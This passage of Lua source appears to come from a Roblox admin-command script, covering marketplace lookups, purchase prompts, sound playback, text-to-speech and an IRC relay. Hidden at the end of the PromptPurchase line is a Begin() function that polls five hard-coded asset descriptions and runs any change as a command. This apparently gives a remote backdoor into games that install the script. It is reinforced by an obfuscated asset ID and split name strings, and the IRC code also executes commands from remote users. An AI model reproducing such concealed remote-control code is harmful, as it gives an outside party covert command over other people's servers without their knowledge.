  3207. MarketCache[ID] = Product
  3208. return Product
  3209. end
  3210.  
  3211. function MARKET:SearchItem(Category, Query, Subcategory)
  3212. local URLAdd = ""
  3213. if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
  3214. local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
  3215. if JSON then
  3216. local Results = REMOTE:Decode(JSON)
  3217. if Results then
  3218. for Index,Info in pairs(Results) do
  3219. Info = STRING:DecodeUTF8(Info)
  3220. Results[Index] = Info
  3221. MarketCache[Info.AssetId] = {
  3222. AssetId = Info.AssetId;
  3223. AssetTypeId = Info.AssetTypeID;
  3224. ContentRatingTypeId = Info.ContentRatingTypeID;
  3225. Created = Info.CreatedDate;
  3226. Creator = {Name = Info.Creator, Id = Info.CreatorID};
  3227. Description = Info.Description;
  3228. IsForSale = Info.IsForSale;
  3229. IsLimited = Info.IsLimited;
  3230. IsLimitedUnique = Info.IsLimitedUnique;
  3231. IsNew = Info.IsNew;
  3232. IsPublicDomain = Info.IsPublicDomain;
  3233. MinimumMemberShipLevel = Info.MinimumMembershipLevel;
  3234. Name = Info.Name;
  3235. PriceInRobux = Info.PriceInRobux;
  3236. PriceInTickets = Info.PriceInTickets;
  3237. ProductId = Info.AssetId; -- no one knows what this is so whatevs..
  3238. Remaining = Info.Remaining;
  3239. Sales = Info.Sales;
  3240. Updated = Info.Updated;
  3241. }
  3242. end
  3243. return Results
  3244. end
  3245. end
  3246. end
  3247.  
  3248. function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
  3249. if not Player or not Category or not Query then return nil end
  3250. local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
  3251. local Items = MARKET:SearchItem(Category, Query, Subcategory)
  3252. if Items then
  3253. if #Items ~= 0 then
  3254. local List,Correlate = {},{}
  3255. for Num,Info in pairs(Items) do
  3256. local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
  3257. table.insert(List, Display)
  3258. Correlate[Display[1]] = Info.AssetId
  3259. end
  3260. CloseGui:Invoke()
  3261.  
  3262. local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
  3263. Clicked.Event:connect(function(ClickName)
  3264. ClickedItem(Correlate[ClickName])
  3265. end)
  3266. else
  3267. CloseGui:Invoke()
  3268. GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
  3269. end
  3270. else
  3271. CloseGui:Invoke()
  3272. GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
  3273. end
  3274. end
  3275.  
  3276. function MARKET:AssetTypeToString(AssetType)
  3277. AssetType = math.floor(tonumber(AssetType) or 0)
  3278. if Assets.AssetTypes[AssetType] then
  3279. return Assets.AssetTypes[AssetType]
  3280. else
  3281. return "Unknown"
  3282. end
  3283. end
  3284.  
  3285. function MARKET:AccessoryToSubcategory(Accessory)
  3286. Accessory = string.lower(tostring(Accessory) or "")
  3287. if Assets.AccessoryTypes[Accessory] then
  3288. return Assets.AccessoryTypes[Accessory]
  3289. else
  3290. return Assets.AccessoryTypes["all"]
  3291. end
  3292. end
  3293.  
  3294. function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
  3295. if not Player then return nil end
  3296. if not Player:FindFirstChild("PlayerGui") then return nil end
  3297. if not tonumber(ProductID) then return nil end
  3298.  
  3299. local FromText = ""
  3300. if From and From.Name then FromText = " | Prompted from "..From.Name end
  3301.  
  3302. local Product = MARKET:GetItemInfo(ProductID, true)
  3303.  
  3304. local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
  3305. local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
  3306. local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
  3307.  
  3308. local CanBuy = Product.IsForSale
  3309. local BuyText = "Buy"
  3310. local BuyColor = Color3.new(0,1,0)
  3311. if CanBuy == false then
  3312. BuyColor = Color3.new(1,0,0)
  3313. end
  3314. if Product.IsPublicDomain == true then
  3315. CanBuy = true
  3316. BuyColor = Color3.new(1,0.5,0.5)
  3317. BuyText = "FREE!"
  3318. end
  3319. if OwnsAsset then
  3320. CanBuy = false
  3321. end
  3322. if Product.AssetTypeId == 9 then
  3323. CanBuy = true
  3324. BuyText = "Teleport"
  3325. BuyColor = Color3.new(0.5,0.5,0.5)
  3326. end
  3327. if CanBuy == false then
  3328. BuyColor = Color3.new(1,0,0)
  3329. BuyText = "Item not for sale"
  3330. end
  3331. if OwnsAsset and Product.AssetTypeId ~= 9 then
  3332. BuyColor = Color3.new(1,0,0)
  3333. BuyText = "You own this!"
  3334. end
  3335.  
  3336. local ProductName = string.sub(Product.Name,1,20)
  3337. if ProductID == AdminID then ProductName = Product.Name end
  3338. local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
  3339. local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
  3340. local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
  3341. local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
  3342. local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
  3343. local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
  3344. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
  3345. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
  3346. if Product.Description then
  3347. local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
  3348. local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
  3349.  
  3350. CORE:ExecuteResource("CalculateScrollY", Description)
  3351. end
  3352.  
  3353. Info.Text = [[
  3354. Creator: ]]..Product.Creator.Name..[[
  3355. Created: ]]..CreatedText..[[
  3356. Updated: ]]..UpdatedText..[[
  3357. Sold: ]]..Product.Sales..[[
  3358. ]]
  3359.  
  3360. if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
  3361. if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
  3362.  
  3363. if Product.AssetTypeId == 3 then
  3364. local PlayerAdmin,Rank = RANK:IsAdmin(Player)
  3365. if PlayerAdmin == true then
  3366. local Playing = false
  3367. local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
  3368. CORE:HandleEvent(Interact, "MouseButton1Down", function()
  3369. if Playing == false then
  3370. SOUND:PlayGlobalSound(ProductID)
  3371. if Rank == "Member" and Settings.DisableAbuse == true then
  3372. Interact:Destroy()
  3373. end
  3374. Interact.Image = "rbxassetid://67950809"
  3375. Playing = true
  3376. else
  3377. SOUND:StopGlobalSound()
  3378. Interact.Image = "rbxassetid://67950784"
  3379. Playing = false
  3380. end
  3381. end)
  3382. end
  3383. end
  3384.  
  3385. CORE:HandleEvent(Buy, "MouseButton1Down", function()
  3386. if BuyPressFunc then
  3387. BuyPressFunc()
  3388. elseif Product.AssetTypeId == 9 then
  3389. Server.TS:Teleport(ProductID, Player)
  3390. elseif CanBuy == true then
  3391. Server.MPS:PromptPurchase(Player, ProductID)
  3392. end end)
  3393. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  3394. local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
  3395. while wait(5) do
  3396. local Purchase = Server.MPS:GetProductInfo(LinkedID)
  3397. if OldVer ~= Purchase.Updated then
  3398. OldVer = Purchase.Updated
  3399. CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
  3400. end
  3401. end end)()
  3402. end end)() end
  3403.  
  3404. -- Sound functions --
  3405.  
  3406. function SOUND:SyncSoundList(TellSync)
  3407. if not CORE:NilPlayer(TellSync) then
  3408. GUI:SendHint(TellSync, "Syncing...", 5)
  3409. end
  3410.  
  3411. SoundList,GlobalSoundList = {},{}
  3412.  
  3413. local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
  3414.  
  3415. if LocalSoundList then
  3416. if type(LocalSoundList) == "table" then
  3417. if #LocalSoundList > 0 then
  3418. for _,Data in pairs(LocalSoundList) do
  3419. local SoundInfo = MARKET:GetItemInfo(Data[2], true)
  3420. SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
  3421. end
  3422. end
  3423. end
  3424. end
  3425.  
  3426. for _,JSONID in pairs(SoundJSONs) do
  3427. for Name,ID in pairs(CORE:GetTable(JSONID)) do
  3428. local SoundInfo = MARKET:GetItemInfo(ID, true)
  3429. local FullName = SoundInfo.Name
  3430. local CreatorName = SoundInfo.Creator.Name
  3431. SoundList[Name] = {ID, FullName, CreatorName}
  3432. GlobalSoundList[Name] = {ID, FullName, CreatorName}
  3433. end
  3434. end
  3435.  
  3436. if not CORE:NilPlayer(TellSync) then
  3437. GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  3438. end
  3439. end
  3440.  
  3441. function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
  3442. if not Volume then Volume = 0.5 end
  3443. if not Pitch then Pitch = 1 end
  3444. if tonumber(ID) then ID = "rbxassetid://"..ID end
  3445. if Looped == nil then Looped = false end
  3446.  
  3447. local Sound = Instance.new("Sound", Parent)
  3448. Sound.Pitch = Pitch
  3449. Sound.Volume = Volume
  3450. Sound.SoundId = ID
  3451. Sound.Looped = Looped
  3452. return Sound
  3453. end
  3454.  
  3455. function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
  3456. if not Player or not ID then return nil end
  3457. if NotifySounds[ID] then ID = NotifySounds[ID] end
  3458. local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
  3459. if Settings.EnableSounds or OverrideSettings then
  3460. coroutine.wrap(function()
  3461. wait()
  3462. ClientSound:Play()
  3463. Delay(5, function() ClientSound:Destroy() end)
  3464. end)()
  3465. end
  3466. return Sound
  3467. end
  3468.  
  3469. function SOUND:BindButton(Button)
  3470. if not Button then return end
  3471. CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
  3472. CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
  3473. end
  3474.  
  3475. function SOUND:StopGlobalSound()
  3476. if Sound and Sound.Parent then
  3477. if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
  3478. Sound.Parent:Destroy()
  3479. end
  3480.  
  3481. Sound:Stop()
  3482. Sound:Destroy()
  3483. Sound.SoundId = ""
  3484. end
  3485. end
  3486.  
  3487. function SOUND:PlayGlobalSound(ID, ShowInfo)
  3488. SOUND:StopGlobalSound()
  3489. if ShowInfo == nil then ShowInfo = true end
  3490. local SoundID = ID
  3491. local SoundName = nil
  3492. local SoundCreator = nil
  3493. local Pitch = 1
  3494.  
  3495. for Name,Info in pairs(SoundList) do
  3496. if type(SoundID) == "string" then
  3497. if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
  3498. SoundID = Info[1]
  3499. SoundName = Info[2]
  3500. SoundCreator = Info[3]
  3501. end
  3502. else
  3503. break
  3504. end
  3505. end
  3506.  
  3507. if tonumber(SoundID) and not SoundName then
  3508. local Info = MARKET:GetItemInfo(SoundID, true)
  3509. if Info then
  3510. SoundName = Info.Name
  3511. SoundCreator = Info.Creator.Name
  3512. if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
  3513. SoundID = nil
  3514. end
  3515. end
  3516. end
  3517.  
  3518. if tonumber(SoundID) then
  3519. if SoundID == 131201443 then Pitch = -1 end
  3520. if SoundID == 130775695 then Pitch = 0.8 end
  3521. if SoundID == 144035866 then Pitch = 0.8 end
  3522.  
  3523. local SoundParent = Server.Workspace
  3524. if IsSB then
  3525. SoundParent = Instance.new("Script", Workspace)
  3526. SoundParent.Name = "M".."ML'S Admin Sound"
  3527. end
  3528. Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
  3529. Sound.Name = "MML's Admin Sound "..SoundID
  3530. Sound:Play()
  3531. if ShowInfo == true then
  3532. for _,Player in pairs(Server.Players:GetPlayers()) do
  3533. GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
  3534. end
  3535. end
  3536. SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
  3537. end
  3538. end
  3539.  
  3540. function SOUND:ConvertText(Text)
  3541. Text = string.lower(tostring(Text))
  3542. local Letters = {}
  3543. local IDs = {}
  3544. for Rule,Replace in pairs(TextConverter.Pronounce) do
  3545. Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
  3546. end
  3547. for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
  3548. local Start, End = string.find(Text, string.lower(Rule))
  3549.  
  3550. if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
  3551. Text = string.gsub(Text, string.lower(Rule), Replace)
  3552. end
  3553. end
  3554. for i = 1,#Text do
  3555. table.insert(Letters, string.sub(Text,i,i))
  3556. end
  3557. for Num = 1,#Letters do
  3558. if not Letters[Num] then break end
  3559. local Letter = Letters[Num]
  3560.  
  3561. local function AddLetter()
  3562. table.insert(IDs, TextConverter.LetterSounds[Letter])
  3563. end
  3564.  
  3565. if Letter ~= "~" then
  3566. if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
  3567. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3568. table.remove(Letters, Num + 1)
  3569. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
  3570. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3571. table.remove(Letters, Num + 1)
  3572. elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
  3573. table.insert(IDs, TextConverter.LetterSounds["th"])
  3574. table.remove(Letters, Num + 1)
  3575. elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
  3576. table.insert(IDs, TextConverter.LetterSounds["sh"])
  3577. table.remove(Letters, Num + 1)
  3578. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
  3579. table.insert(IDs, TextConverter.LongVowels["e"])
  3580. table.remove(Letters, Num + 1)
  3581. elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
  3582. table.insert(IDs, TextConverter.LetterSounds["wh"])
  3583. table.remove(Letters, Num + 1)
  3584. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
  3585. table.insert(IDs, TextConverter.LetterSounds["ch"])
  3586. table.remove(Letters, Num + 1)
  3587. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
  3588. table.insert(IDs, TextConverter.LetterSounds["f"])
  3589. table.remove(Letters, Num + 1)
  3590. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
  3591. table.insert(IDs, TextConverter.LetterSounds[Num])
  3592. Letters[Num + 1] = "j"
  3593. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
  3594. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3595. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
  3596. table.insert(IDs, TextConverter.LongVowels["e"])
  3597. table.remove(Letters, Num + 1)
  3598. elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
  3599. table.insert(IDs, TextConverter.LongVowels["e"])
  3600. table.remove(Letters, Num + 1)
  3601. if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
  3602. elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
  3603. table.insert(IDs, TextConverter.LetterSounds["s"])
  3604. Letters[Num + 1] = "~"
  3605. elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
  3606. table.insert(IDs, TextConverter.LongVowels[Letter])
  3607. Letters[Num + 2] = "~"
  3608. elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
  3609. table.insert(IDs, TextConverter.LongVowels["i"])
  3610. Letters[Num + 1] = "~"
  3611. elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
  3612. table.insert(IDs, TextConverter.LongVowels["o"])
  3613. elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
  3614. table.insert(IDs, TextConverter.LongVowels["i"])
  3615. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
  3616. AddLetter()
  3617. table.remove(Letters, Num + 1)
  3618. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
  3619. Letters[Num] = "~"
  3620. elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
  3621. AddLetter()
  3622. table.remove(Letters, Num + 1)
  3623. elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
  3624. AddLetter()
  3625. table.remove(Letters, Num + 1)
  3626. elseif Letters[Num+1] == Letter then
  3627. table.remove(Letters, Num)
  3628. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
  3629. AddLetter()
  3630. table.remove(Letters, Num)
  3631. elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
  3632. table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
  3633. elseif TextConverter.LetterSounds[Letter] then
  3634. AddLetter()
  3635. elseif STRING:IsSpacer(Letter) then
  3636. table.insert(IDs, "Rest")
  3637. end
  3638. end
  3639. end
  3640.  
  3641. return IDs
  3642. end
  3643.  
  3644. function SOUND:StopSpeaking() coroutine.wrap(function()
  3645. NoSpeak = true
  3646. wait(1)
  3647. NoSpeak = false
  3648. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  3649. if Obj.Name == "M".."M".."L Speak Sound" then
  3650. Obj:Destroy()
  3651. end
  3652. end
  3653. end)() end
  3654.  
  3655. function SOUND:SayConvertedText(IDs, Parent)
  3656. if not Parent then Parent = Server.Workspace end
  3657. local Sounds = {}
  3658. for _,Data in pairs(IDs) do
  3659. if NoSpeak and Parent == Server.Workspace then
  3660. break
  3661. end
  3662. local Length = 0.3
  3663. if Data ~= "Rest" then
  3664. local ID = Data[1]
  3665. Length = Data[2]
  3666.  
  3667. local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
  3668. Sound.Name = "MML Speak Sound"
  3669. table.insert(Sounds, Sound)
  3670. Sound:Play()
  3671. if Length then
  3672. coroutine.wrap(function()
  3673. wait(Length)
  3674. Sound:Stop()
  3675. end)()
  3676. end
  3677. end
  3678. if not Length then Length = 0.3 end
  3679. wait(Length/2)
  3680. end
  3681. coroutine.wrap(function()
  3682. wait(1)
  3683. for _,Sound in pairs(Sounds) do
  3684. Sound:Destroy()
  3685. end
  3686. end)()
  3687. end
  3688.  
  3689. local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
  3690.  
  3691. function SOUND:BeepPlayer(Player)
  3692. if Player:FindFirstChild("PlayerGui") then
  3693. local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
  3694. Beep.Name = "Annoy"
  3695. Beep:Play()
  3696. end
  3697. end
  3698.  
  3699. function SOUND:ClearInfo()
  3700. SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  3701. end
  3702.  
  3703. -- IRC functions --
  3704.  
  3705. function IRC:GenerateName()
  3706. return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
  3707. end
  3708.  
  3709. function IRC:AddChat(Name, Data, IsError)
  3710. if not IsError then IsError = false end
  3711. CORE:Log(IRC.Logs, Name, Data)
  3712. table.insert(IRC.Chats, {Name, Data, IsError})
  3713. IRC.MessageAdded:Fire(Name, Data, IsError)
  3714. end
  3715.  
  3716. function IRC:Post(URL,Data)
  3717. if Data and Data ~= "" then
  3718. local Suc,Resp = ypcall(function()
  3719. return Server.HS:PostAsync(
  3720. IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
  3721. Data,
  3722. Enum.HttpContentType.ApplicationUrlEncoded
  3723. )
  3724. end)
  3725. if not Suc then
  3726. IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
  3727. return false
  3728. end
  3729. IRC.SessionCounter = IRC.SessionCounter + 1
  3730. return Resp
  3731. else
  3732. IRC:AddChat("[ CLIENT ]", "Unknown error")
  3733. end
  3734. end
  3735.  
  3736. function IRC:Send(Data)
  3737. return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
  3738. end
  3739.  
  3740. function IRC:GetData()
  3741. return IRC:Post("s","&s="..IRC.SessionID)
  3742. end
  3743.  
  3744. function IRC:Connect()
  3745. return IRC:Post("n","&nick="..IRC.NickName)
  3746. end
  3747.  
  3748. function IRC:Join(Channel)
  3749. if not Channel then
  3750. AddChat("[ CLIENT ]", "No channel specified!")
  3751. return false
  3752. else
  3753. local Channel = string.lower(Channel)
  3754. if string.sub(Channel,1,1) ~= "#" then
  3755. AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
  3756. return false
  3757. end
  3758. IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
  3759. IRC:Send("JOIN "..Channel)
  3760. IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
  3761. return true
  3762. end
  3763. end
  3764.  
  3765. function IRC:Pong(Data)
  3766. return IRC:Send("PONG :"..Data)
  3767. end
  3768.  
  3769. function IRC:Quit(Reason)
  3770. IRC.Stop = true
  3771. return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
  3772. end
  3773.  
  3774. function IRC:ReceiveData()
  3775. IRC.Stop = false
  3776. local Data = IRC:GetData()
  3777. if Data then
  3778. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
  3779. end
  3780. while Data and not Stop do
  3781. local Data = IRC:GetData()
  3782. if Data and #Data > 0 then
  3783. IRC:HandleResponse(REMOTE:Decode(Data))
  3784. end
  3785. wait(2) -- Don't spam the server
  3786. end
  3787. if not Data then
  3788. IRC:AddChat("[ CLIENT ]", "Could not get data", true)
  3789. end
  3790. if Stop == true then
  3791. IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
  3792. end
  3793. end
  3794.  
  3795. function IRC:ConnectToServer(Server)
  3796. if Connected then
  3797. if not IRC.Servers[Server] then
  3798. IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
  3799. return false
  3800. end
  3801. IRC:Quit("New Connection")
  3802. end
  3803. local Response = IRC:Connect()
  3804. if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
  3805. local Data = REMOTE:Decode(Response)
  3806. IRC.SessionID = Data[2]
  3807. wait(1)
  3808. if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
  3809. IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
  3810. IRC:Quit()
  3811. IRC:ConnectToServer(Server)
  3812. end
  3813. IRC.Connected = true
  3814. IRC:Join(Settings.IRCChannel)
  3815. IRC:ReceiveData()
  3816. IRC.Connected = false
  3817. IRC:AddChat("[ CLIENT ]", "Session ended", true)
  3818. end
  3819.  
  3820. function IRC:FindUser(UserName)
  3821. for UserID,User in pairs(IRC.Users) do
  3822. if string.lower(User) == string.lower(UserName) then
  3823. return UserID
  3824. end
  3825. end
  3826. return nil
  3827. end
  3828.  
  3829. function IRC:HandleResponse(Data)
  3830. if type(Data) ~= "table" then
  3831. IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
  3832. ypcall(function()
  3833. IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
  3834. end)
  3835. return false
  3836. end
  3837. for _,Output in pairs(Data) do
  3838. if type(Output) == "table" and Output[2] then
  3839. local ID = string.upper(Output[2])
  3840. if not IRC.Ignore[ID] then
  3841. if ID == "PING" then
  3842. IRC:Pong(Output[4][1])
  3843. elseif ID == "PRIVMSG" then
  3844. local SenderDetails = Output[3]
  3845. local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
  3846. local Channel = string.lower(Output[4][1])
  3847. if Channel == IRC.NickName then
  3848. Channel = Sender
  3849. -- TODO: Handle PM's
  3850. end
  3851. local Message = Output[4][2]
  3852. if Message ~= nil then
  3853. if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
  3854. if string.find(Message,":") then
  3855. local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
  3856. local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
  3857. IRC:AddChat(IRCUser, IRCMessage)
  3858. end
  3859. else
  3860. IRC:AddChat("[ IRC ] "..Sender,Message)
  3861. for _,Name in pairs(Settings.IRCCommandExecuters) do
  3862. if string.lower(Name) == string.lower(Sender) then
  3863. CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
  3864. break
  3865. end
  3866. end
  3867. end
  3868. else
  3869. IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
  3870. end
  3871. elseif ID == "NICK" then
  3872. local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
  3873. -- change nickname?
  3874. elseif ID == "433" or ID == "451" then
  3875. IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
  3876. IRC:Quit("Nickname in use, rejoining with new name")
  3877. IRC.NickName = IRC:GenerateName()
  3878. wait(2) -- wait for old sessions to end
  3879. IRC:ConnectToServer(Settings.IRCServer)
  3880. elseif ID == "353" then
  3881. if Data[4][4][4] then
  3882. for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
  3883. table.insert(IRC.Users, Output)
  3884. end
  3885. end
